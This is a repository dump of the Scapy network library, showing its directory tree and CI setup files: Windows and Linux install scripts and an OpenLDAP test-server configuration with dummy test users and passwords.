Repository: secdev/scapy Branch: master Commit: b1add1f796b4 Files: 773 Total size: 13.7 MB Directory structure: gitextract_vo5e70zj/ ├── .config/ │ ├── ci/ │ │ ├── install.ps1 │ │ ├── install.sh │ │ ├── openldap/ │ │ │ ├── config.ldif │ │ │ ├── install.sh │ │ │ └── testdata.ldif │ │ ├── openssl.py │ │ ├── test.ps1 │ │ ├── test.sh │ │ ├── windows/ │ │ │ ├── InstallNpcap.ps1 │ │ │ └── InstallWindumpNpcap.ps1 │ │ └── zipapp.sh │ ├── codespell_ignore.txt │ └── mypy/ │ ├── mypy.ini │ ├── mypy_check.py │ ├── mypy_deployment_stats.py │ └── mypy_enabled.txt ├── .git-blame-ignore-revs ├── .gitattributes ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── BUGS.yml │ │ └── config.yml │ ├── PULL_REQUEST_TEMPLATE.md │ ├── codecov.yml │ └── workflows/ │ ├── cifuzz.yml │ └── unittests.yml ├── .gitignore ├── .packit.yml ├── .readthedocs.yml ├── .travis.yml ├── CONTRIBUTING.md ├── LICENSE ├── MANIFEST.in ├── README.md ├── doc/ │ ├── LICENSE │ ├── notebooks/ │ │ ├── HTTP_2_Tuto.ipynb │ │ ├── Scapy in 15 minutes.ipynb │ │ ├── graphs-ipids.ipynb │ │ └── tls/ │ │ ├── notebook1_x509.ipynb │ │ ├── notebook2_tls_protected.ipynb │ │ ├── notebook3_tls_compromised.ipynb │ │ ├── notebook4_tls13.ipynb │ │ └── raw_data/ │ │ ├── README.md │ │ ├── pki/ │ │ │ ├── ca_cert.der │ │ │ ├── ca_key.der │ │ │ ├── srv_cert.pem │ │ │ └── srv_key.pem │ │ ├── tls_nss_example.keys.txt │ │ ├── tls_nss_example.pcap │ │ ├── tls_session_13/ │ │ │ ├── 01_cli.raw │ │ │ ├── 02_srv.raw │ │ │ ├── 03_srv.raw │ │ │ ├── 04_srv.raw │ │ │ ├── 05_srv.raw │ │ │ ├── 06_srv.raw │ │ │ ├── 07_cli.raw │ │ │ ├── 08_cli.raw │ │ │ ├── 09_srv.raw │ │ │ ├── cli_key.raw │ │ │ └── srv_key.raw │ │ ├── tls_session_compromised/ │ │ │ ├── 01_cli.raw │ │ │ ├── 02_srv.raw │ │ │ ├── 03_cli.raw │ │ │ ├── 04_srv.raw │ │ │ └── 05_cli.raw │ │ └── tls_session_protected/ │ │ ├── 01_cli.raw │ │ ├── 02_srv.raw │ │ ├── 03_srv.raw │ │ ├── 04_srv.raw │ │ ├── 05_cli.raw │ │ ├── 06_srv.raw │ │ └── 07_cli.raw │ ├── scapy/ │ │ ├── Makefile │ │ ├── README │ │ ├── _ext/ │ │ │ ├── linkcode_res.py │ │ │ └── scapy_doc.py │ │ ├── _static/ │ │ │ ├── _dummy │ │ │ └── vethrelay.sh │ │ ├── _templates/ │ │ │ ├── README.md │ │ │ ├── module.rst_t │ │ │ └── package.rst_t │ │ ├── advanced_usage/ │ │ │ ├── asn1_snmp.rst │ │ │ ├── automaton.rst │ │ │ ├── cbor.rst │ │ │ ├── fwdmachine.rst │ │ │ ├── index.rst │ │ │ └── pipetools.rst │ │ ├── backmatter.rst │ │ ├── build_dissect.rst │ │ ├── conf.py │ │ ├── development.rst │ │ ├── extending.rst │ │ ├── functions.rst │ │ ├── graphics/ │ │ │ └── fwdmachine.drawio │ │ ├── index.rst │ │ ├── installation.rst │ │ ├── introduction.rst │ │ ├── layers/ │ │ │ ├── automotive.rst │ │ │ ├── bluetooth.rst │ │ │ ├── dcerpc.rst │ │ │ ├── dcom.rst │ │ │ ├── dotnet.rst │ │ │ ├── gssapi.rst │ │ │ ├── http.rst │ │ │ ├── index.rst │ │ │ ├── kerberos.rst │ │ │ ├── ldap.rst │ │ │ ├── netflow.rst │ │ │ ├── pnio.rst │ │ │ ├── sctp.rst │ │ │ ├── smb.rst │ │ │ ├── tcp.rst │ │ │ └── tuntap.rst │ │ ├── make.bat │ │ ├── routing.rst │ │ ├── troubleshooting.rst │ │ └── usage.rst │ ├── scapy.1 │ ├── syntax/ │ │ └── vim_uts_syntax/ │ │ ├── ftdetect/ │ │ │ ├── filetype.vim │ │ │ └── uts.vim │ │ ├── install.sh │ │ └── syntax/ │ │ └── uts.vim │ └── vagrant_ci/ │ ├── README.md │ ├── Vagrantfile │ ├── provision_freebsd.sh │ ├── provision_netbsd.sh │ └── provision_openbsd.sh ├── pyproject.toml ├── run_scapy ├── run_scapy.bat ├── scapy/ │ ├── __init__.py │ ├── __main__.py │ ├── all.py │ ├── ansmachine.py │ ├── arch/ │ │ ├── __init__.py │ │ ├── bpf/ │ │ │ ├── __init__.py │ │ │ ├── consts.py │ │ │ ├── core.py │ │ │ ├── pfroute.py │ │ │ └── supersocket.py │ │ ├── common.py │ │ ├── libpcap.py │ │ ├── linux/ │ │ │ ├── __init__.py │ │ │ └── rtnetlink.py │ │ ├── solaris.py │ │ ├── unix.py │ │ └── windows/ │ │ ├── __init__.py │ │ ├── native.py │ │ └── structures.py │ ├── as_resolvers.py │ ├── asn1/ │ │ ├── __init__.py │ │ ├── asn1.py │ │ ├── ber.py │ │ └── mib.py │ ├── asn1fields.py │ ├── asn1packet.py │ ├── automaton.py │ ├── autorun.py │ ├── base_classes.py │ ├── cbor/ │ │ ├── __init__.py │ │ ├── cbor.py │ │ └── cborcodec.py │ ├── compat.py │ ├── config.py │ ├── consts.py │ ├── contrib/ │ │ ├── __init__.py │ │ ├── altbeacon.py │ │ ├── aoe.py │ │ ├── automotive/ │ │ │ ├── __init__.py │ │ │ ├── autosar/ │ │ │ │ ├── __init__.py │ │ │ │ ├── pdu.py │ │ │ │ ├── secoc.py │ │ │ │ ├── secoc_canfd.py │ │ │ │ └── secoc_pdu.py │ │ │ ├── bmw/ │ │ │ │ ├── __init__.py │ │ │ │ ├── definitions.py │ │ │ │ ├── enumerator.py │ │ │ │ └── hsfz.py │ │ │ ├── ccp.py │ │ │ ├── doip.py │ │ │ ├── ecu.py │ │ │ ├── gm/ │ │ │ │ ├── __init__.py │ │ │ │ ├── gmlan.py │ │ │ │ ├── gmlan_ecu_states.py │ │ │ │ ├── gmlan_logging.py │ │ │ │ ├── gmlan_scanner.py │ │ │ │ └── gmlanutils.py │ │ │ ├── kwp.py │ │ │ ├── obd/ │ │ │ │ ├── __init__.py │ │ │ │ ├── iid/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── iids.py │ │ │ │ ├── mid/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── mids.py │ │ │ │ ├── obd.py │ │ │ │ ├── packet.py │ │ │ │ ├── pid/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── pids.py │ │ │ │ │ ├── pids_00_1F.py │ │ │ │ │ ├── pids_20_3F.py │ │ │ │ │ ├── pids_40_5F.py │ │ │ │ │ ├── pids_60_7F.py │ │ │ │ │ ├── pids_80_9F.py │ │ │ │ │ └── pids_A0_C0.py │ │ │ │ ├── scanner.py │ │ │ │ ├── services.py │ │ │ │ └── tid/ │ │ │ │ ├── __init__.py │ │ │ │ └── tids.py │ │ │ ├── scanner/ │ │ │ │ ├── __init__.py │ │ │ │ ├── configuration.py │ │ │ │ ├── enumerator.py │ │ │ │ ├── executor.py │ │ │ │ ├── graph.py │ │ │ │ ├── staged_test_case.py │ │ │ │ └── test_case.py │ │ │ ├── someip.py │ │ │ ├── uds.py │ │ │ ├── uds_ecu_states.py │ │ │ ├── uds_logging.py │ │ │ ├── uds_scan.py │ │ │ ├── volkswagen/ │ │ │ │ ├── __init__.py │ │ │ │ └── definitions.py │ │ │ └── xcp/ │ │ │ ├── __init__.py │ │ │ ├── cto_commands_master.py │ │ │ ├── cto_commands_slave.py │ │ │ ├── scanner.py │ │ │ ├── utils.py │ │ │ └── xcp.py │ │ ├── avs.py │ │ ├── bfd.py │ │ ├── bgp.py │ │ ├── bier.py │ │ ├── bp.py │ │ ├── cansocket.py │ │ ├── cansocket_native.py │ │ ├── cansocket_python_can.py │ │ ├── carp.py │ │ ├── cdp.py │ │ ├── chdlc.py │ │ ├── coap.py │ │ ├── concox.py │ │ ├── diameter.py │ │ ├── dicom.py │ │ ├── dtp.py │ │ ├── eddystone.py │ │ ├── eigrp.py │ │ ├── enipTCP.py │ │ ├── erspan.py │ │ ├── esmc.py │ │ ├── ethercat.py │ │ ├── etherip.py │ │ ├── exposure_notification.py │ │ ├── geneve.py │ │ ├── gtp.py │ │ ├── gtp_v2.py │ │ ├── gxrp.py │ │ ├── hicp.py │ │ ├── homeplugav.py │ │ ├── homepluggp.py │ │ ├── homeplugsg.py │ │ ├── http2.py │ │ ├── ibeacon.py │ │ ├── icmp_extensions.py │ │ ├── ife.py │ │ ├── igmp.py │ │ ├── igmpv3.py │ │ ├── ikev2.py │ │ ├── isis.py │ │ ├── isotp/ │ │ │ ├── __init__.py │ │ │ ├── isotp_native_socket.py │ │ │ ├── isotp_packet.py │ │ │ ├── isotp_scanner.py │ │ │ ├── isotp_soft_socket.py │ │ │ └── isotp_utils.py │ │ ├── knx.py │ │ ├── lacp.py │ │ ├── ldp.py │ │ ├── lldp.py │ │ ├── loraphy2wan.py │ │ ├── ltp.py │ │ ├── mac_control.py │ │ ├── macsec.py │ │ ├── metawatch.py │ │ ├── modbus.py │ │ ├── mount.py │ │ ├── mpls.py │ │ ├── mqtt.py │ │ ├── mqttsn.py │ │ ├── nfs.py │ │ ├── nlm.py │ │ ├── nrf_sniffer.py │ │ ├── nsh.py │ │ ├── oam.py │ │ ├── oncrpc.py │ │ ├── opc_da.py │ │ ├── openflow.py │ │ ├── openflow3.py │ │ ├── ospf.py │ │ ├── pfcp.py │ │ ├── pim.py │ │ ├── pnio.py │ │ ├── pnio_dcp.py │ │ ├── pnio_rpc.py │ │ ├── portmap.py │ │ ├── postgres.py │ │ ├── ppi_cace.py │ │ ├── ppi_geotag.py │ │ ├── psp.py │ │ ├── ptp_v2.py │ │ ├── ripng.py │ │ ├── roce.py │ │ ├── rpl.py │ │ ├── rpl_metrics.py │ │ ├── rsvp.py │ │ ├── rtcp.py │ │ ├── rtps/ │ │ │ ├── __init__.py │ │ │ ├── common_types.py │ │ │ ├── pid_types.py │ │ │ └── rtps.py │ │ ├── rtr.py │ │ ├── rtsp.py │ │ ├── scada/ │ │ │ ├── __init__.py │ │ │ ├── iec104/ │ │ │ │ ├── __init__.py │ │ │ │ ├── iec104_fields.py │ │ │ │ ├── iec104_information_elements.py │ │ │ │ └── iec104_information_objects.py │ │ │ └── pcom.py │ │ ├── sdnv.py │ │ ├── sebek.py │ │ ├── send.py │ │ ├── skinny.py │ │ ├── slowprot.py │ │ ├── socks.py │ │ ├── stamp.py │ │ ├── stun.py │ │ ├── tacacs.py │ │ ├── tcpao.py │ │ ├── tcpros.py │ │ ├── tzsp.py │ │ ├── vqp.py │ │ ├── vtp.py │ │ └── wireguard.py │ ├── dadict.py │ ├── data.py │ ├── error.py │ ├── fields.py │ ├── fwdmachine.py │ ├── interfaces.py │ ├── layers/ │ │ ├── __init__.py │ │ ├── all.py │ │ ├── bluetooth.py │ │ ├── bluetooth4LE.py │ │ ├── can.py │ │ ├── clns.py │ │ ├── dcerpc.py │ │ ├── dhcp.py │ │ ├── dhcp6.py │ │ ├── dns.py │ │ ├── dot11.py │ │ ├── dot15d4.py │ │ ├── eap.py │ │ ├── gprs.py │ │ ├── gssapi.py │ │ ├── hsrp.py │ │ ├── http.py │ │ ├── inet.py │ │ ├── inet6.py │ │ ├── ipsec.py │ │ ├── ir.py │ │ ├── isakmp.py │ │ ├── kerberos.py │ │ ├── l2.py │ │ ├── l2tp.py │ │ ├── ldap.py │ │ ├── llmnr.py │ │ ├── lltd.py │ │ ├── mgcp.py │ │ ├── mobileip.py │ │ ├── ms_nrtp.py │ │ ├── msrpce/ │ │ │ ├── __init__.py │ │ │ ├── all.py │ │ │ ├── ept.py │ │ │ ├── msdcom.py │ │ │ ├── msdrsr.py │ │ │ ├── mseerr.py │ │ │ ├── msnrpc.py │ │ │ ├── mspac.py │ │ │ ├── raw/ │ │ │ │ ├── README.md │ │ │ │ ├── __init__.py │ │ │ │ ├── ept.py │ │ │ │ ├── ms_dcom.py │ │ │ │ ├── ms_drsr.py │ │ │ │ ├── ms_eerr.py │ │ │ │ ├── ms_nrpc.py │ │ │ │ ├── ms_rrp.py │ │ │ │ ├── ms_samr.py │ │ │ │ ├── ms_srvs.py │ │ │ │ └── ms_wkst.py │ │ │ ├── rpcclient.py │ │ │ └── rpcserver.py │ │ ├── netbios.py │ │ ├── netflow.py │ │ ├── ntlm.py │ │ ├── ntp.py │ │ ├── pflog.py │ │ ├── ppi.py │ │ ├── ppp.py │ │ ├── pptp.py │ │ ├── quic.py │ │ ├── radius.py │ │ ├── rip.py │ │ ├── rtp.py │ │ ├── sctp.py │ │ ├── sixlowpan.py │ │ ├── skinny.py │ │ ├── smb.py │ │ ├── smb2.py │ │ ├── smbclient.py │ │ ├── smbserver.py │ │ ├── snmp.py │ │ ├── spnego.py │ │ ├── ssh.py │ │ ├── tftp.py │ │ ├── tls/ │ │ │ ├── __init__.py │ │ │ ├── all.py │ │ │ ├── automaton.py │ │ │ ├── automaton_cli.py │ │ │ ├── automaton_srv.py │ │ │ ├── basefields.py │ │ │ ├── cert.py │ │ │ ├── crypto/ │ │ │ │ ├── __init__.py │ │ │ │ ├── all.py │ │ │ │ ├── cipher_aead.py │ │ │ │ ├── cipher_block.py │ │ │ │ ├── cipher_stream.py │ │ │ │ ├── ciphers.py │ │ │ │ ├── common.py │ │ │ │ ├── compression.py │ │ │ │ ├── groups.py │ │ │ │ ├── h_mac.py │ │ │ │ ├── hash.py │ │ │ │ ├── hkdf.py │ │ │ │ ├── kx_algs.py │ │ │ │ ├── md4.py │ │ │ │ ├── pkcs1.py │ │ │ │ ├── prf.py │ │ │ │ └── suites.py │ │ │ ├── extensions.py │ │ │ ├── handshake.py │ │ │ ├── handshake_sslv2.py │ │ │ ├── keyexchange.py │ │ │ ├── keyexchange_tls13.py │ │ │ ├── quic.py │ │ │ ├── record.py │ │ │ ├── record_sslv2.py │ │ │ ├── record_tls13.py │ │ │ ├── session.py │ │ │ └── tools.py │ │ ├── tpm.py │ │ ├── tuntap.py │ │ ├── usb.py │ │ ├── vrrp.py │ │ ├── vxlan.py │ │ ├── windows/ │ │ │ ├── __init__.py │ │ │ ├── erref.py │ │ │ ├── registry.py │ │ │ └── security.py │ │ ├── x509.py │ │ └── zigbee.py │ ├── libs/ │ │ ├── __init__.py │ │ ├── bluetoothids.py │ │ ├── ethertypes.py │ │ ├── extcap.py │ │ ├── manuf.py │ │ ├── matplot.py │ │ ├── rfc3961.py │ │ ├── structures.py │ │ ├── test_pyx.py │ │ └── winpcapy.py │ ├── main.py │ ├── modules/ │ │ ├── __init__.py │ │ ├── krack/ │ │ │ ├── __init__.py │ │ │ ├── automaton.py │ │ │ └── crypto.py │ │ ├── ldaphero.py │ │ ├── nmap.py │ │ ├── p0f.py │ │ ├── p0fv2.py │ │ ├── ticketer.py │ │ └── voip.py │ ├── packet.py │ ├── pipetool.py │ ├── plist.py │ ├── pton_ntop.py │ ├── py.typed │ ├── route.py │ ├── route6.py │ ├── scapypipes.py │ ├── sendrecv.py │ ├── sessions.py │ ├── supersocket.py │ ├── themes.py │ ├── tools/ │ │ ├── UTscapy.py │ │ ├── __init__.py │ │ ├── automotive/ │ │ │ ├── __init__.py │ │ │ ├── isotpscanner.py │ │ │ ├── obdscanner.py │ │ │ └── xcpscanner.py │ │ ├── check_asdis.py │ │ ├── check_spdx.sh │ │ ├── generate_bluetooth.py │ │ ├── generate_ethertypes.py │ │ ├── generate_manuf.py │ │ └── scapy_pyannotate.py │ ├── utils.py │ ├── utils6.py │ └── volatile.py ├── setup.py ├── test/ │ ├── __init__.py │ ├── answering_machines.uts │ ├── benchmark/ │ │ ├── common.py │ │ ├── dissection_and_build.py │ │ └── latency_router.py │ ├── bpf.uts │ ├── configs/ │ │ ├── README.md │ │ ├── bsd.utsc │ │ ├── cryptography.utsc │ │ ├── linux.utsc │ │ ├── scapy-rpc.utsc │ │ ├── solaris.utsc │ │ ├── windows.utsc │ │ └── windows2.utsc │ ├── contrib/ │ │ ├── altbeacon.uts │ │ ├── aoe.uts │ │ ├── automotive/ │ │ │ ├── autosar/ │ │ │ │ ├── pdu.uts │ │ │ │ └── secoc.uts │ │ │ ├── bmw/ │ │ │ │ └── hsfz.uts │ │ │ ├── ccp.uts │ │ │ ├── doip.uts │ │ │ ├── ecu.uts │ │ │ ├── ecu_am.uts │ │ │ ├── gm/ │ │ │ │ ├── gmlan.uts │ │ │ │ ├── gmlanutils.uts │ │ │ │ └── scanner.uts │ │ │ ├── interface_mockup.py │ │ │ ├── kwp.uts │ │ │ ├── obd/ │ │ │ │ ├── obd.uts │ │ │ │ └── scanner.uts │ │ │ ├── scanner/ │ │ │ │ ├── configuration.uts │ │ │ │ ├── enumerator.uts │ │ │ │ ├── graph.uts │ │ │ │ ├── staged_test_case.uts │ │ │ │ ├── test_case.uts │ │ │ │ └── uds_scanner.uts │ │ │ ├── someip.uts │ │ │ ├── testsocket.uts │ │ │ ├── uds.uts │ │ │ └── xcp/ │ │ │ ├── xcp.uts │ │ │ └── xcp_comm.uts │ │ ├── avs.uts │ │ ├── bfd.uts │ │ ├── bgp.uts │ │ ├── bier.uts │ │ ├── bp.uts │ │ ├── canfdsocket_native.uts │ │ ├── canfdsocket_python_can.uts │ │ ├── cansocket.uts │ │ ├── cansocket_native.uts │ │ ├── cansocket_python_can.uts │ │ ├── carp.uts │ │ ├── cdp.uts │ │ ├── chdlc.uts │ │ ├── coap.uts │ │ ├── concox.uts │ │ ├── diameter.uts │ │ ├── dicom.uts │ │ ├── dtp.uts │ │ ├── eddystone.uts │ │ ├── eigrp.uts │ │ ├── enipTCP.uts │ │ ├── erspan.uts │ │ ├── esmc.uts │ │ ├── ethercat.uts │ │ ├── etherip.uts │ │ ├── exposure_notification.uts │ │ ├── geneve.uts │ │ ├── gtp.uts │ │ ├── gtp_v2.uts │ │ ├── gxrp.uts │ │ ├── hicp.uts │ │ ├── homeplugav.uts │ │ ├── homepluggp.uts │ │ ├── homeplugsg.uts │ │ ├── http2.uts │ │ ├── ibeacon.uts │ │ ├── iec104.uts │ │ ├── ife.uts │ │ ├── igmp.uts │ │ ├── igmpv3.uts │ │ ├── ikev2.uts │ │ ├── isis.uts │ │ ├── isotp_message_builder.uts │ │ ├── isotp_native_socket.uts │ │ ├── isotp_packet.uts │ │ ├── isotp_soft_socket.uts │ │ ├── isotpscan.uts │ │ ├── knx.uts │ │ ├── lacp.uts │ │ ├── ldp.uts │ │ ├── lldp.uts │ │ ├── loraphy2wan.uts │ │ ├── ltp.uts │ │ ├── mac_control.uts │ │ ├── macsec.uts │ │ ├── metawatch.uts │ │ ├── modbus.uts │ │ ├── mount.uts │ │ ├── mpls.uts │ │ ├── mqtt.uts │ │ ├── mqttsn.uts │ │ ├── nfs.uts │ │ ├── nlm.uts │ │ ├── nsh.uts │ │ ├── oam.uts │ │ ├── oncrpc.uts │ │ ├── opc_da.uts │ │ ├── openflow.uts │ │ ├── openflow3.uts │ │ ├── ospf.uts │ │ ├── pcom.uts │ │ ├── pfcp.uts │ │ ├── pim.uts │ │ ├── pnio.uts │ │ ├── pnio_dcp.uts │ │ ├── pnio_rpc.uts │ │ ├── portmap.uts │ │ ├── postgres.uts │ │ ├── ppi_cace.uts │ │ ├── ppi_geotag.uts │ │ ├── psp.uts │ │ ├── ptp_v2.uts │ │ ├── ripng.uts │ │ ├── roce.uts │ │ ├── rpl.uts │ │ ├── rsvp.uts │ │ ├── rtcp.uts │ │ ├── rtps.uts │ │ ├── rtr.uts │ │ ├── rtsp.uts │ │ ├── sdnv.uts │ │ ├── sebek.uts │ │ ├── send.uts │ │ ├── socks.uts │ │ ├── stamp.uts │ │ ├── stun.uts │ │ ├── tacacs.uts │ │ ├── tcpao.uts │ │ ├── tcpros.uts │ │ ├── tzsp.uts │ │ ├── vqp.uts │ │ ├── vtp.uts │ │ └── wireguard.uts │ ├── fields.uts │ ├── imports.uts │ ├── linux.uts │ ├── nmap.uts │ ├── p0f.uts │ ├── p0fv2.uts │ ├── pcaps/ │ │ ├── bad_rsn_parsing_overrides_ssid.pcap │ │ ├── doip_ack.pcap │ │ ├── http2_h2c.pcap │ │ ├── http_compressed-brotli.pcap │ │ ├── http_compressed-zstd.pcap │ │ ├── http_compressed.pcap │ │ ├── http_content_length.pcap │ │ ├── ikev2_nat_t.pcapng │ │ ├── ikev2_notify_redirect.pcap │ │ ├── ipfix.pcap │ │ ├── netflowv9.pcap │ │ ├── pfcp.pcap │ │ ├── ssh_ed25519.pcap │ │ ├── tls_new-session-ticket.pcap │ │ ├── zigbee-join-authenticate.pcap │ │ └── zigbee-transport-key-skke_1.pcap │ ├── pipetool.uts │ ├── random.uts │ ├── regression.uts │ ├── run_tests │ ├── run_tests.bat │ ├── scapy/ │ │ ├── automaton.uts │ │ └── layers/ │ │ ├── asn1.uts │ │ ├── bluetooth.uts │ │ ├── bluetooth4LE.uts │ │ ├── can.uts │ │ ├── cbor.uts │ │ ├── dcerpc.uts │ │ ├── dhcp.uts │ │ ├── dhcp6.uts │ │ ├── dns.uts │ │ ├── dns_dnssec.uts │ │ ├── dns_edns0.uts │ │ ├── dot11.uts │ │ ├── dot15d4.uts │ │ ├── eap.uts │ │ ├── hsrp.uts │ │ ├── http.uts │ │ ├── inet.uts │ │ ├── inet6.uts │ │ ├── ipsec.uts │ │ ├── isakmp.uts │ │ ├── kerberos.uts │ │ ├── l2.uts │ │ ├── l2tp.uts │ │ ├── ldap.uts │ │ ├── ldapopenldap.uts │ │ ├── llmnr.uts │ │ ├── lltd.uts │ │ ├── mgcp.uts │ │ ├── mobileip.uts │ │ ├── msnrtp.uts │ │ ├── msrpce/ │ │ │ ├── mgmt.uts │ │ │ ├── msdrsr.uts │ │ │ ├── mslsad.uts │ │ │ ├── msnrpc.uts │ │ │ ├── msscmr.uts │ │ │ └── mswmi.uts │ │ ├── netbios.uts │ │ ├── netflow.uts │ │ ├── ntlm.uts │ │ ├── ntp.uts │ │ ├── pflog.uts │ │ ├── ppp.uts │ │ ├── pptp.uts │ │ ├── quic.uts │ │ ├── radius.uts │ │ ├── rip.uts │ │ ├── rtp.uts │ │ ├── sctp.uts │ │ ├── skinny.uts │ │ ├── smb.uts │ │ ├── smb2.uts │ │ ├── smbclientserver.uts │ │ ├── snmp.uts │ │ ├── spnego.uts │ │ ├── ssh.uts │ │ ├── tftp.uts │ │ ├── tls/ │ │ │ ├── __init__.py │ │ │ ├── cert.uts │ │ │ ├── example_client.py │ │ │ ├── example_server.py │ │ │ ├── pki/ │ │ │ │ ├── README.md │ │ │ │ ├── ca_cert.pem │ │ │ │ ├── ca_key.pem │ │ │ │ ├── cli_cert.pem │ │ │ │ ├── cli_key.pem │ │ │ │ ├── srv_cert.pem │ │ │ │ ├── srv_cert_ed25519.pem │ │ │ │ ├── srv_key.pem │ │ │ │ └── srv_key_ed25519.pem │ │ │ ├── sslv2.uts │ │ │ ├── tls.uts │ │ │ ├── tls13.uts │ │ │ └── tlsclientserver.uts │ │ ├── usb.uts │ │ ├── vrrp.uts │ │ ├── vxlan.uts │ │ └── x509.uts │ ├── sendsniff.uts │ ├── testsocket.py │ ├── tools/ │ │ ├── isotpscanner.uts │ │ ├── obdscanner.uts │ │ └── xcpscanner.uts │ ├── tuntap.uts │ └── windows.uts └── tox.ini ================================================ FILE CONTENTS ================================================ ================================================ FILE: .config/ci/install.ps1 ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Install packages needed for the CI on Windows # Install npcap and windump & "$PSScriptRoot\windows\InstallNpcap.ps1" & "$PSScriptRoot\windows\InstallWindumpNpcap.ps1" # Install wireshark choco install -y wireshark # Add to PATH echo "C:\Program Files\Wireshark;C:\Program Files\Windump" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append # Update pip & setuptools & wheel (tox uses those) python -m pip install --upgrade pip setuptools wheel --ignore-installed # Make sure tox is installed and up to date python -m pip install -U tox --ignore-installed ================================================ FILE: .config/ci/install.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Install packages needed for the CI on Linux/MacOS # Usage: # ./install.sh [install mode] # Detect install mode if [[ "${1}" == "libpcap" ]] then SCAPY_USE_LIBPCAP="yes" if [[ ! -z "$GITHUB_ACTIONS" ]] then echo "SCAPY_USE_LIBPCAP=yes" >> $GITHUB_ENV fi fi # Install on osx if [ "${OSTYPE:0:6}" = "darwin" ] then if [ ! -z $SCAPY_USE_LIBPCAP ] then brew update brew install libpcap fi fi CUR=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) # Install wireshark data, ifconfig, vcan, samba, openldap if [ "$OSTYPE" = "linux-gnu" ] then sudo apt-get update sudo apt-get -qy install tshark net-tools || exit 1 sudo apt-get -qy install can-utils || exit 1 sudo apt-get -qy install linux-modules-extra-$(uname -r) || exit 1 sudo apt-get -qy install samba smbclient sudo bash $CUR/openldap/install.sh # Make sure libpcap is installed if [ ! -z $SCAPY_USE_LIBPCAP ] then sudo apt-get -qy install libpcap-dev || exit 1 fi fi # Update pip & setuptools (tox uses those) python -m pip install --upgrade pip setuptools wheel --ignore-installed # Make sure tox is installed and up to date python -m pip install -U tox --ignore-installed # Dump Environment (so that we can check PATH, UT_FLAGS, etc.) set ================================================ FILE: .config/ci/openldap/config.ldif ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # Contains the configuration of our OpenLDAP test server # Configure LDAPS dn: cn=config changetype: modify add: olcTLSCACertificateFile olcTLSCACertificateFile: {{CAFILE}} dn: cn=config changetype: modify replace: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: {{KEYFILE}} dn: cn=config changetype: modify replace: olcTLSCertificateFile olcTLSCertificateFile: {{CRTFILE}} dn: cn=config changetype: modify add: olcTLSVerifyClient olcTLSVerifyClient: never # Set channel bindings to 'tls-endpoint', like it would be on Windows dn: cn=config changetype: modify replace: olcSaslCbinding olcSaslCbinding: tls-endpoint ================================================ FILE: .config/ci/openldap/install.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Install an OpenLDAP test server # Pre-populate some setup questions sudo debconf-set-selections <<< 'slapd slapd/password2 password Bonjour1' sudo debconf-set-selections <<< 'slapd slapd/password1 password Bonjour1' sudo debconf-set-selections <<< 'slapd slapd/domain string scapy.net' # Run setup sudo apt-get -qy install slapd # Enable LDAPs echo "Enabling HTTPS on slapd..." sudo sed -i '/^SLAPD_SERVICES/ c\SLAPD_SERVICES="ldap:/// ldapi:/// ldaps://"' /etc/default/slapd sudo systemctl restart slapd # Calculate the paths we're going to need. CUR=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) PKIPATH=$(realpath "$CUR/../../../test/scapy/layers/tls/pki") OLDAPPATH=$(mktemp -d -t scapy_openldap_XXXX) # Copy certificates to temp path cp ${PKIPATH}/ca_cert.pem ${OLDAPPATH} cp ${PKIPATH}/srv_cert.pem ${OLDAPPATH} cp ${PKIPATH}/srv_key.pem ${OLDAPPATH} chmod a+rx -R ${OLDAPPATH} # Copy config template and replace variables. echo "Creating OpenLDAP config..." openldap_conf=${OLDAPPATH}/openldap_config.ldif cp $CUR/config.ldif $openldap_conf sed -i "s@{{CAFILE}}@${OLDAPPATH}/ca_cert.pem@g" $openldap_conf sed -i "s@{{CRTFILE}}@${OLDAPPATH}/srv_cert.pem@g" $openldap_conf sed -i "s@{{KEYFILE}}@${OLDAPPATH}/srv_key.pem@g" $openldap_conf echo "Applying OpenLDAP config..." sudo ldapmodify -Y EXTERNAL -H "ldapi:///" -w Bonjour1 -f $openldap_conf -c echo "Adding initial dummy data..." sudo ldapadd -D "cn=admin,dc=scapy,dc=net" -w Bonjour1 -H "ldapi:///" -f $CUR/testdata.ldif -c ================================================ FILE: .config/ci/openldap/testdata.ldif ================================================ # SPDX-License-Identifier: OLDAP-2.8 # This file is based on https://git.openldap.org/openldap/openldap/-/blob/master/tests/data/ppolicy.ldif?ref_type=heads # (renamed to dc=scapy, dc=net) dn: dc=scapy, dc=net objectClass: top objectClass: organization objectClass: dcObject o: Scapy dc: scapy dn: ou=People, dc=scapy, dc=net objectClass: top objectClass: organizationalUnit ou: People dn: ou=Groups, dc=scapy, dc=net objectClass: organizationalUnit ou: Groups dn: cn=Policy Group, ou=Groups, dc=scapy, dc=net objectClass: groupOfNames cn: Policy Group member: uid=nd, ou=People, dc=scapy, dc=net owner: uid=ndadmin, ou=People, dc=scapy, dc=net dn: cn=Test Group, ou=Groups, dc=scapy, dc=net objectClass: groupOfNames cn: Policy Group member: uid=another, ou=People, dc=scapy, dc=net dn: ou=Policies, dc=scapy, dc=net objectClass: top objectClass: organizationalUnit ou: Policies dn: uid=nd, ou=People, dc=scapy, dc=net objectClass: top objectClass: person objectClass: inetOrgPerson cn: Neil Dunbar uid: nd sn: Dunbar givenName: Neil userPassword: testpassword dn: uid=ndadmin, ou=People, dc=scapy, dc=net objectClass: top objectClass: person objectClass: inetOrgPerson cn: Neil Dunbar (Admin) uid: ndadmin sn: Dunbar givenName: Neil userPassword: testpw dn: uid=another, ou=People, dc=scapy, dc=net objectClass: top objectClass: person objectClass: inetOrgPerson cn: Another Test uid: another sn: Test givenName: Another userPassword: testing ================================================ FILE: .config/ci/openssl.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter 